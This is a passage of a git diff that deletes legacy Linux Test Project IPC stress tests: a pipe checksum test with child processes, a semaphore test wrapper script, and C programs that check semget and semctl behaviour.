-|                  -  send final checksum to parent                    |
-|               o  parent:                                             |
-|                  -  compare checksum of sent packets with the        |
-|                     child's checksum                                 |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               pipe () - Creates an interprocess channel              |
-|               fork () - Creates a new process                        |
-|               fcntl () -                                             |
-|               waitpid () - Waits for a child process to stop or      |
-|                                                                      |
-| Usage:        pipe_test_02                                           |
-|                                                                      |
-| To compile:   cc -o pipe_test_02 pipe_test_02.c                      |
-|                                                                      |
-| Last update:   Ver. 1.3, 3/3/94 12:06:38                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     010393  DJK   Initial version for AIX 4.1                 |
-|    1.2     021394  DJK   Move to "prod" directory                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-/* Defines:
- *
- * MB: one megabyte (MB)
- *
- * VALID_PACKET: value sent with each packet, used to verify that the
- * packets contents were not garbled.
- *
- * DEFAULT_NUM_CHILDREN: default number of child processes spawned
- *
- * DEFAULT_PACKETS_TO_SEND: default number of packets sent to each child
- * process.
- *
- * MAXCHILD: maximum number of child processes which may be spawned
- * (based upon the number of file descriptors that a process may use)
- *
- * USAGE: usage statement
- */
-#define MB			(1024*1024)
-#define DEFAULT_PACKETS_TO_SEND 1024
-#define DEFAULT_NUM_CHILDREN	1
-#define OPEN_MAX		256
-#define MAXCHILD 		(OPEN_MAX/2 - 2)
-#define VALID_PACKET		0xabcdef01
-#define USAGE	"\nUsage: %s [-n] [-p nprocs] [{-m totmegs | -b totbytes}]\n\n" \
-		"\t-n          transfer data with NON-BLOCKING reads & writes\n" \
-		"\t-p nprocs   number of child processes to spawn\n" \
-		"\t-m totmegs  number of MB to send through pipe\n" \
-		"\t-b totmegs  number of bytes to send through pipe\n" \
-		"\t                  (must be less than %d)\n\n"
-
-/*
- * Function Prototypes:
- *
- * setup (): Parse command line arguments and intialize variables
- * child (): Child process
- * cleanup (): Close all pipes and kill child processes
- * sys_error (): System error message function
- * error (): Error message function
- * setup_signal_handlers (): Sets up signal catching functions
- * handler (): Signal catching function
- */
-void setup(int, char **);
-void child(int[], int[]);
-void cleanup();
-void sys_error(const char *, int);
-void error(const char *, int);
-void setup_signal_handlers();
-void handler(int, int, struct sigcontext *);
-
-/*
- * Structures & Global variables
- *
- * num_children: number of child processes to be spawned
- *
- * num_packets: number of packets to be sent to each child process
- *
- * non_blocking_flag: uses NON-BLOCKING
- *
- * pid: process id's of the spawned processes
- *
- * p2child: half duplex pipes from parent to child (parent writes,
- *          child reads).
- *
- * p2parent: half duplex pipe from child to parent (child writes,
- *           parent reads).
- */
-
-enum { READ, WRITE };		/* Pipe read & write end indices */
-
-struct data_packet {
-	pid_t pid;		/* Child process id */
-	int last;		/* Indicates last packet when set */
-	long valid;		/* Insure packet was not garbled */
-	long seq_number;	/* Packet sequence number */
-	unsigned long checksum;	/* Cumulative checksum so far */
-	unsigned char data;	/* Data sent in packet */
-};
-typedef struct data_packet data_packet;
-
-int num_children = DEFAULT_NUM_CHILDREN;
-long num_packets = DEFAULT_PACKETS_TO_SEND;
-int non_blocking_flag = 0;	/* Uses NON-BLOCKING pipes when set */
-int bflg = 0;			/* Data quantity flag (MB) */
-int mflg = 0;			/* Data quantity flag (bytes) */
-
-pid_t parent_pid;		/* Parent's process id */
-pid_t pid[MAXCHILD];		/* Process id's of spawned processes */
-int p2child[MAXCHILD][2];	/* Pipes from parent to child processes */
-int p2parent[2];		/* Pipe from child processes to parent */
-char err_msg[256];		/* Generic error message buffer */
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int i;
-	int n;			/* Number of bytes written */
-	int status;		/* Child's exit status */
-	long packets_sent;
-	unsigned char data;
-	unsigned long cksum_parent = 0;
-	data_packet packet;
-
-	/*
-	 * Parse command line arguments, initialize global variables and
-	 * print program header
-	 */
-	setup(argc, argv);
-	printf("%s: IPC Pipe TestSuite program\n", *argv);
-	fflush(stdout);
-
-	/*
-	 * Create two sets of half duplex pipes:
-	 *
-	 * p2child: for sending packets from the parent process to the child
-	 *          processes and
-	 * p2parent: for sending checksums from the child processes to the
-	 *           parent
-	 *
-	 * If the non-blocking command line option was specified, use fcntl ()
-	 * to set the O_NONBLOCK file descriptor status flags.  This will
-	 * prevent reads & and writes from blocking if the data is not yet
-	 * available
-	 */
-	printf("\n\tCreating pipes...\n");
-	fflush(stdout);
-
-	if (pipe(p2parent) < 0)
-		sys_error("pipe failed", __LINE__);
-
-	if (non_blocking_flag) {
-		printf("\n\tSending data NON-BLOCKING!\n");
-		fflush(stdout);
-	}
-
-	for (i = 0; i < num_children; i++) {
-		if (pipe(&p2child[i][0]) < 0)
-			sys_error("pipe failed", __LINE__);
-		if (non_blocking_flag) {
-			if (fcntl(p2child[i][READ], F_SETFL, O_NONBLOCK) < 0)
-				sys_error("fcntl (O_NONBLOCK) failed",
-					  __LINE__);
-			if (fcntl(p2child[i][WRITE], F_SETFL, O_NONBLOCK) < 0)
-				sys_error("fcntl (O_NONBLOCK) failed",
-					  __LINE__);
-		}
-	}
-
-	/*
-	 * Spawn num_children processes
-	 *
-	 * Fork of the child process & record the newly created process's
-	 * id for future reference.
-	 *
-	 * Then close the READ end of the p2child pipe, since the parent
-	 * process will be writing into this pipe rather than reading.
-	 * Also close the WRITE end of the p2parent pipe, for just the
-	 * the reverse reasons...
-	 */
-	printf("\n\tSpawning %d child processes ... \n", num_children);
-	fflush(stdout);
-
-	for (i = 0; i < num_children; i++) {
-
-		if ((pid[i] = fork()) == 0) {
-
-			/* Child process */
-			child(&p2child[i][0], p2parent);
-			exit(0);
-
-		} else if (pid[i] < (pid_t) 0)
-			sys_error("fork failed", __LINE__);
-
-		if (close(p2child[i][READ]) < 0)
-			sys_error("close failed", __LINE__);
-	}
-	if (close(p2parent[WRITE]) < 0)
-		sys_error("close failed", __LINE__);
-
-	/*
-	 * Send data packets to the child processes
-	 *
-	 * Build packets (initialize all of the packets fields) and then
-	 * send the packets to all of the child processes.
-	 *
-	 * Might have to make several attempts with the NON-BLOCKING writes
-	 * if the resource is not immediately available.
-	 */
-	printf
-	    ("\n\tParent: sending %ld packets (%ld bytes) to child processes ...\n",
-	     num_packets, num_packets * sizeof(struct data_packet));
-
-	packet.last = 0;
-	packet.valid = VALID_PACKET;
-
-	for (packets_sent = data = 0; num_packets > 0; num_packets--) {
-
-		packet.seq_number = ++packets_sent;
-		packet.data = data++;
-		packet.pid = pid[i];
-		packet.checksum = cksum_parent += packet.data;
-
-		for (i = 0; i < num_children; i++) {
-try_write_ETXN_again:
-			if ((n = write(p2child[i][WRITE], &packet,
-				       sizeof(packet))) < 0) {
-				if (non_blocking_flag && errno == EAGAIN) {
-					goto try_write_ETXN_again;
-				} else {
-					sys_error("write failed", __LINE__);
-				}
-			}
-		}
-	}
-
-	/*
-	 * Send the last packet to the child processes
-	 *
-	 * [ Upon receiving this packet, the child process will know that all
-	 *   of the packets have been sent and that the parent process is
-	 *   expecting the child to send it's checksum back. ]
-	 *
-	 * After sending the last packet, close the WRITE end of the p2child
-	 * pipe as we are finish sending packets to the child processes.
-	 *
-	 * Then wait for all of the child processes to send the checksum
-	 * packets.  Upon receiving the checksum packets verify that the
-	 * child's checksum matches that of the parent.
-	 *
-	 * Might have to make several attempts with the NON-BLOCKING writes
-	 * if the resource is not immediately available.
-	 *
-	 * Finally, close READ end of p2parent pipe as we have finished
-	 * receiving checksums from the child.
-	 */
-	packet.last = 1;
-	printf
-	    ("\n\tParent: done sending packets & waiting for children to complete!\n");
-	for (i = 0; i < num_children; i++) {
-try_read_again:
-		if (write(p2child[i][WRITE], &packet, sizeof(packet)) < 0) {
-			if (non_blocking_flag && errno == EAGAIN) {
-				goto try_read_again;
-			} else {
-				sys_error("write failed", __LINE__);
-			}
-		}
-		if (close(p2child[i][WRITE]) < 0)
-			sys_error("close failed", __LINE__);
-
-		if (read(p2parent[READ], &packet, sizeof(packet)) <= 0)
-			sys_error("read failed", __LINE__);
-
-		if (packet.valid != VALID_PACKET)
-			error("received packet with corrupted data from child!",
-			      __LINE__);
-
-		if (cksum_parent != packet.checksum) {
-			sprintf(err_msg, "checksum of data sent by parent "
-				"does not match checksum of data received by "
-				"child [pid %d]\n"
-				"\tchild's checksum: %08lx\n"
-				"\tparent's checksum: %08lx\n",
-				packet.pid, packet.checksum, cksum_parent);
-			error(err_msg, __LINE__);
-		}
-	}
-	if (close(p2parent[READ]) < 0)
-		sys_error("close failed", __LINE__);
-
-	/*
-	 * Wait for all of the child processes to complete & check their
-	 * exit status.
-	 *
-	 * Upon completion of the child proccesses, exit program with success.
-	 */
-	for (i = 0; i < num_children; i++) {
-		waitpid(pid[i], &status, 0);
-
-		if (!WIFEXITED(status))
-			sys_error("child process terminated abnormally",
-				  __LINE__);
-	}
-	printf
-	    ("\n\tParent: children received all packets & exited successfully\n");
-
-	/* Program completed successfully -- exit */
-	printf("\nsuccessful!\n");
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                               child ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Receive packets from the parent, insure they are valid    |
-|            and not out of sequence, and calculate a running          |
-|            checksum.  Upon receiving the last packet from the        |
-|            parent, build a checksum packet and send it to the parent.|
-|                                                                      |
-| Args:      p2child   - Pipe from parent to child                     |
-|            p2parent  - Pipe from child to parent                     |
-|                                                                      |
-| Returns:   Exits with (-1) if an error occurs                        |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void child(int p2child[], int p2parent[])
-{
-	int n;			/* Bytes read */
-	pid_t pid = getpid();	/* Process id of child */
-	int end_of_transmission = 0;
-	long packets_received = 0;	/* Number of packets received
-					 * from parent
-					 */
-
-	data_packet packet;	/* Packet used to transmiting data */
-	unsigned long cksum_child = 0;	/* Checksum of data fields received */
-
-	/*
-	 * Close the WRITE end of the p2child pipe, since the child
-	 * process will be reading from this pipe rather than writing.
-	 * Also close the READ end of the p2parent pipe, for just the
-	 * the reverse reasons...
-	 */
-	if (close(p2child[WRITE]) < 0)
-		sys_error("close failed", __LINE__);
-	if (close(p2parent[READ]) < 0)
-		sys_error("close failed", __LINE__);
-
-	/*
-	 * Receive packets from parent & insure packets are valid
-	 *
-	 * Read packets from the parent through p2child pipe.  Upon
-	 * recieving the packet, verify that it is valid, in sequence
-	 * and that both the parent's and child's checksums match.
-	 *
-	 * Might have to make several attempts with the NON-BLOCKING
-	 * reads if the resource is not immediately available.
-	 *
-	 * Continue reading packets until the "last" packet is received
-	 * from the parent.  Upon receiving the last packet, close
-	 * the p2child READ pipe, as we are finished receiving packets
-	 * from the parent.
-	 */
-	while (!end_of_transmission) {
-try_write_again:
-		n = read(p2child[READ], &packet, sizeof(packet));
-		if (n < 0) {
-			/* Resource not available */
-			if (non_blocking_flag && errno == EAGAIN)
-				goto try_write_again;
-			else
-				sys_error("read failed", __LINE__);
-		} else if (n > 0) {
-			/* Insure packet is valid */
-			if (packet.valid != VALID_PACKET) {
-				sprintf(err_msg,
-					"child received invalid packet "
-					"from parent:\n\tpacket #: %ld\n",
-					packets_received);
-				error(err_msg, __LINE__);
-			}
-			/* Received last packet */
-			if (packet.last) {
-				end_of_transmission = 1;
-			} else {
-
-				/* Insure packet was not received out of sequence */
-				packets_received++;
-				if (packets_received != packet.seq_number) {
-					sprintf(err_msg,
-						"child received packet out of sequence\n"
-						"\texpecting packet: %ld\n"
-						"\treceived packet:  %ld\n",
-						packets_received,
-						packet.seq_number);
-					error(err_msg, __LINE__);
-				}
-
-				/* Insure checksums still match */
-				cksum_child += packet.data;
-				if (cksum_child != packet.checksum) {
-					sprintf(err_msg,
-						"child & parent checksums do not match\n"
-						"\tchild checksum:  %08lx\n"
-						"\tparent checksum: %08lx\n"
-						"\tpacket number:   %ld\n",
-						cksum_child, packet.checksum,
-						packets_received);
-					error(err_msg, __LINE__);
-				}
-			}
-		}
-	}
-	if (close(p2child[READ]) < 0)
-		sys_error("close failed", __LINE__);
-
-	/*
-	 * Send parent packet containing child's checksum
-	 *
-	 * Build a checksum packet (initialize packet fields) and then
-	 * send the packet to the parent.
-	 *
-	 * Then close the WRITE p2parent pipe as we have finished sending packets
-	 * to the parent.
-	 */
-	printf("\t\tChild:  pid [%d] received %ld packets from parent\n",
-	       pid, packets_received);
-
-	packet.pid = pid;
-	packet.valid = VALID_PACKET;
-	packet.checksum = cksum_child;
-
-	if (write(p2parent[WRITE], &packet, sizeof(packet)) < 0)
-		sys_error("write failed", __LINE__);
-	if (close(p2parent[WRITE]) < 0)
-		sys_error("close failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                               setup ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-n] non_blocking_flag: prevents read & write calls from  |
-|                 from blocking if the resource is not available.      |
-|                                                                      |
-|            [-p] num_packets: number of packets ...                   |
-|                                                                      |
-|            [-c] num_children: number of child processes to spawn ... |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void setup(int argc, char **argv)
-{
-	int i;
-	int errflag = 0;
-	int bytes = 0, megabytes = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((i = getopt(argc, argv, "nm:b:p:?")) != EOF) {
-		switch (i) {
-		case 'n':	/* NON-BLOCKING flag */
-			non_blocking_flag++;
-			break;
-		case 'm':	/* MB */
-			mflg++;
-			megabytes = atoi(optarg);
-			break;
-		case 'b':	/* bytes */
-			bflg++;
-			bytes = atoi(optarg);
-			break;
-		case 'p':	/* number of child procs */
-			num_children = atoi(optarg);
-			break;
-		case '?':
-			errflag++;
-			break;
-		}
-	}
-	if (mflg) {
-		num_packets = megabytes * MB / sizeof(struct data_packet);
-	} else if (bflg) {
-		num_packets = bytes / sizeof(struct data_packet);
-	}
-
-	if (num_packets == 0 || num_children == 0 || num_children > MAXCHILD)
-		errflag++;
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name, MAXCHILD);
-		exit(2);
-	}
-	/*
-	 * Setup signal catching function for SIGPIPE & SIGINT, record
-	 * the process id of the parent and initialize the child process
-	 * id array.
-	 */
-	setup_signal_handlers();
-
-	parent_pid = getpid();
-
-	for (i = 0; i < num_children; i++) {
-		pid[i] = (pid_t) 0;
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                          setup_handler ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Setup the signal handler for SIGPIPE.                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void setup_signal_handlers()
-{
-	struct sigaction invec;
-
-	invec.sa_handler = (void (*)(int))handler;
-	sigemptyset(&invec.sa_mask);
-	invec.sa_flags = 0;
-
-	if (sigaction(SIGINT, &invec, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-
-	if (sigaction(SIGPIPE, &invec, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             handler ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal catching function for SIGPIPE signal.              |
-|                                                                      |
-|            o  SIGPIPE: Print message and abort program...            |
-|                                                                      |
-|            o  SIGINT:  Parent process calls cleanup, child processes |
-|                        simply exit                                   |
-|                                                                      |
-|            o  Other:   Print message and abort program...            |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int sig, int code, struct sigcontext *scp)
-{
-	char msg[100];		/* Buffer for error message */
-
-	if (sig == SIGPIPE) {
-		error("wrote to pipe with closed read end", __LINE__);
-	} else if (sig == SIGINT) {
-		if (getpid() == parent_pid) {
-
-			fprintf(stderr, "Received SIGINT -- cleaning up...\n");
-			fflush(stderr);
-
-			cleanup();
-		} else
-			exit(-1);
-	} else {
-		sprintf(msg, "Received an unexpected signal (%d)", sig);
-		error(msg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             cleanup ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Closes all of the pipes, kills all of the child           |
-|            processes and exits the program...                        |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void cleanup()
-{
-	int i;
-
-	if (getpid() == parent_pid) {
-		for (i = 0; i < num_children; i++) {
-			if (pid[i] > (pid_t) 0 && kill(pid[i], SIGKILL) < 0)
-				sys_error("signal failed", __LINE__);
-
-			close(p2child[i][READ]);
-			close(p2child[i][WRITE]);
-			close(p2parent[READ]);
-			close(p2parent[WRITE]);
-		}
-	}
-
-	exit(-1);
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and calls cleanup...                   |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	fflush(stderr);
-	cleanup();
-}
diff --git a/testcases/kernel/ipc/ipc_stress/run_semaphore_test_01.sh b/testcases/kernel/ipc/ipc_stress/run_semaphore_test_01.sh
deleted file mode 100755
index cec596e..0000000
--- a/testcases/kernel/ipc/ipc_stress/run_semaphore_test_01.sh
+++ /dev/null
@@ -1,125 +0,0 @@
-#!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2008                 ##
-## Copyright (c) Jinbing Guo, guojb@cn.ibm.com, 2008                          ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-################################################################################
-# File :        run_semaphore_test_01.sh
-#
-# Description:  run semaphore_test_01, check the result, clean the resource.
-#
-# Author:       Jinbing Guo, guojb@cn.ibm.com
-#
-# History:      Aug. 14 2008 - Created - Jinbing Guo.
-#
-################################################################################
-#
-# Function:     setup
-#
-# Description:  - Check if required commands exits
-#               - Export global variables
-#               - Check if required config files exits
-#               - Create temporary files and directories
-#
-# Return        - zero on success
-#               - non zero on failure. return value from commands ($RC)
-setup()
-{
-export TST_TOTAL=1  # Total number of test cases in this file.
-LTPTMP=${TMP}       # Temporary directory to create files, etc.
-export TCID="setup" # Test case identifier
-export TST_COUNT=0  # Set up is initialized as test 0
-
-# Initialize cleanup function to execute on program exit.
-# This function will be called before the test program exits.
-trap "cleanup" 0
-
-RC=0                # Exit values of system commands used
-
-# Set up some variables
-SEM_ID=0
-
-if [ -f $LTPROOT/testcases/bin/semaphore_test_01 ]; then
-	RC=0
-else
-	tst_resm TBROK, "Could not find the case semaphore_test_01."
-	RC=1
-fi
-
-return $RC
-}
-# Function:     cleanup
-#
-# Description   - remove temporary files and directories.
-#
-# Return        - zero on success
-#               - non zero on failure. return value from commands ($RC)
-cleanup()
-{
-    if [ -n "$SEM_IPCS" ];then
-        ipcrm -s $SEM_IPCS                  # remove the semaphore.
-    fi
-    tst_resm TINFO "CLOSE: exit."
-}
-
-# Function:     test01
-#
-test01()
-{
-TCID="semaphore_test_01"    # Identifier of this testcase.
-TST_COUNT=1                 # Test case number.
-RC=0                        # return code from commands.
-
-SEM_ID=`semaphore_test_01`
-RC=$?
-
-# Check the return value of semaphore_test_01
-if [ $RC -ne 0 ]
-then
-tst_resm TFAIL "semaphore_test_01 failed."
-return $RC
-else
-tst_resm TINFO "Created semaphore ID: $SEM_ID"
-fi
-
-# Get the semphore ID by "ipcs -s"
-SEMS=`LANG= ipcs -s | awk '{print $2}' | grep [[:digit:]]`
-for SEM_IPCS in $SEMS
-do
-    if [ $SEM_IPCS -eq $SEM_ID ] ;then
-        tst_resm TPASS "semaphore ID comparing passed."
-        return $RC
-    fi
-done
-# Failed in comparing with the output of 'ipcs -s'
-RC=1
-tst_resm TFAIL "Comparing failed with the output of 'ipcs -s'."
-return $RC
-}
-# Function:     main
-#
-# Description:  - Execute all tests, exit with test status.
-#
-# Exit:         - zero on success
-#               - non-zero on failure.
-#
-RC=0    # Return value from setup, and test functions.
-setup  || exit $RC
-test01 || exit $RC
-
diff --git a/testcases/kernel/ipc/ipc_stress/semaphore_test_01.c b/testcases/kernel/ipc/ipc_stress/semaphore_test_01.c
deleted file mode 100644
index 7d55481..0000000
--- a/testcases/kernel/ipc/ipc_stress/semaphore_test_01.c
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           semaphore_test_01                          |
-| ==================================================================== |
-|                                                                      |
-| Description:  Simplistic test to verify the semget () and semctl ()  |
-|               system function calls.                                 |
-|                                                                      |
-|               o  Create semaphore with semget ()                     |
-|                                                                      |
-|               o  Set the semaphore user id, group id and permission  |
-|                  bits with semctl (IPC_SET)                          |
-|                                                                      |
-|               o  Retrieve the semaphore status with semctl (IPC_STAT)|
-|                  and compare with expected values                    |
-|                                                                      |
-|               o  Print out the semaphore id for comparison with the  |
-|                  output of the 'ipcs -s' command                     |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               semget () - Gets a set of semaphores                   |
-|               semctl () - Controls semaphore operations              |
-|                                                                      |
-| Usage:        semaphore_test_01                                      |
-| NOTE: this program creates a system semaphore, but never deletes it. |
-|       In order to delete it, use `ipcrm sem <id_num>`.  An alternate |
-|       to this is to run the program as follows:                      |
-|               ipcrm sem `./semaphore_test_01`                        |
-|       This will delete the semaphore after the program exits, but    |
-|       does not print out the semaphore id to see.                    |
-|                                                                      |
-| To compile:   cc -o semaphore_test_01 semaphore_test_01.c            |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/14/94 00:18:16                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    0.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.2     021494  DJK   Move to "prod" directory                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/sem.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <string.h>
-
-#ifdef _LINUX_
-#include <sys/stat.h>
-#endif
-
-#include "lapi/semun.h"
-
-/* Defines
- *
- * NUM_SEMAPHORES: number of semaphores to create
- */
-#define NUM_SEMAPHORES	1
-
-/*
- * Function prototypes
- *
- * sys_error (): System error message function
- * error (): Error message function
- */
-static void sys_error(const char *, int);
-static void error(const char *, int);
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	uid_t uid = getuid();	/* User's user id */
-	gid_t gid = getgid();	/* User's group id */
-	int semid;		/* Unique semaphore id */
-	int nsems = NUM_SEMAPHORES;	/* Number of semaphores to create */
-	struct semid_ds exp_semdata;	/* Expected semaphore values */
-	union semun exp_semdatap;
-	struct semid_ds act_semdata;	/* Actual semaphore values */
-	union semun act_semdatap;
-
-	exp_semdatap.buf = &exp_semdata;
-	act_semdatap.buf = &act_semdata;
-
-	umask(0000);
-
-	/* SET semid_ds STRUCTURE TO DESIRED VALUES........ */
-
-	/*
-	 * Initialize the "expected" sempahore value structure
-	 */
-	exp_semdata.sem_perm.cuid = exp_semdata.sem_perm.uid = uid;
-	exp_semdata.sem_perm.cgid = exp_semdata.sem_perm.gid = gid;
-	exp_semdata.sem_perm.mode = 0660;
-	exp_semdata.sem_nsems = nsems;
-
-	/*
-	 * Create a semaphore, set the semaphore fields and then
-	 * retrieve the fields.
-	 */
-	if ((semid = semget(IPC_PRIVATE, nsems, IPC_CREAT | 0666)) < 0)
-		sys_error("semget (IPC_PRIVATE) failed", __LINE__);
-
-	if (semctl(semid, nsems, IPC_SET, exp_semdatap) < 0)
-		sys_error("semctl (IPC_SET) failed", __LINE__);
-
-	if (semctl(semid, nsems, IPC_STAT, act_semdatap) < 0)
-		sys_error("semctl (IPC_STAT) failed", __LINE__);
-
-	/*
-	 * Verify that the semaphore fields were set correctly
-	 */
-	if (act_semdata.sem_perm.cuid != exp_semdata.sem_perm.cuid)
-		error("sem_perm.cuid field was not set!", __LINE__);
-	if (act_semdata.sem_perm.uid != exp_semdata.sem_perm.uid)
-		error("sem_perm.uid field was not set!", __LINE__);
-	if (act_semdata.sem_perm.cgid != exp_semdata.sem_perm.cgid)
-		error("sem_perm.cgid field was not set!", __LINE__);
-	if (act_semdata.sem_perm.gid != exp_semdata.sem_perm.gid)
-		error("sem_perm.gid field was not set!", __LINE__);
-	if (act_semdata.sem_perm.mode != exp_semdata.sem_perm.mode)
-		error("sem_perm.mode field was not set!", __LINE__);
-	if (act_semdata.sem_nsems != exp_semdata.sem_nsems)
-		error("sem_nsems field was not set!", __LINE__);
-
-	/*
-	 * Print out the id of the newly created semaphore for comparison
-	 * with the 'ipcs -s' command and then exit.
-	 */
-	printf("%d\n", semid);
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/semaphore_test_02.c b/testcases/kernel/ipc/ipc_stress/semaphore_test_02.c
deleted file mode 100644
index fc8d2d9..0000000
--- a/testcases/kernel/ipc/ipc_stress/semaphore_test_02.c
+++ /dev/null
@@ -1,482 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           semaphore_test_02                          |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verify semget () and semctl () options                 |
-|               Also uses semop in linux (semctl(GETPID) requires semop|
-|                                                                      |
-| Algorithm:    o  Spawn N child processes                             |
-|                                                                      |
-|               o  Obtain N semaphores with semget (IPC_PRIVATE)       |
-|                                                                      |
-|               o  Call semctl () with following commands:             |
-|                     IPC_SET:  set uid, gid & mode                    |
-|                     IPC_STAT: get uid, gid, mode & verify            |
-|                     SETVAL:   set each semaphore value individually  |
-|                     GETVAL:   get each semaphore value & verify      |
-|                #if linux then call semop
-|                     GETPID:   get pid of last operation & verify     |
-|                     GETNCNT:  get semncnt & verify                   |
-|                     GETZCNT:  get semzcnt & verify                   |
-|                     SETALL:   set all the semaphores                 |
-|                     GETALL:   get all the semaphores & verify values |
-|                     IPC_RMID: remove the N semaphores                |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               semget () - Gets a set of semaphores                   |
-|               semctl () - Controls semaphore operations              |
-|                                                                      |
-| Usage:        semaphore_test_02 [-p nprocs]                          |
-|                                                                      |
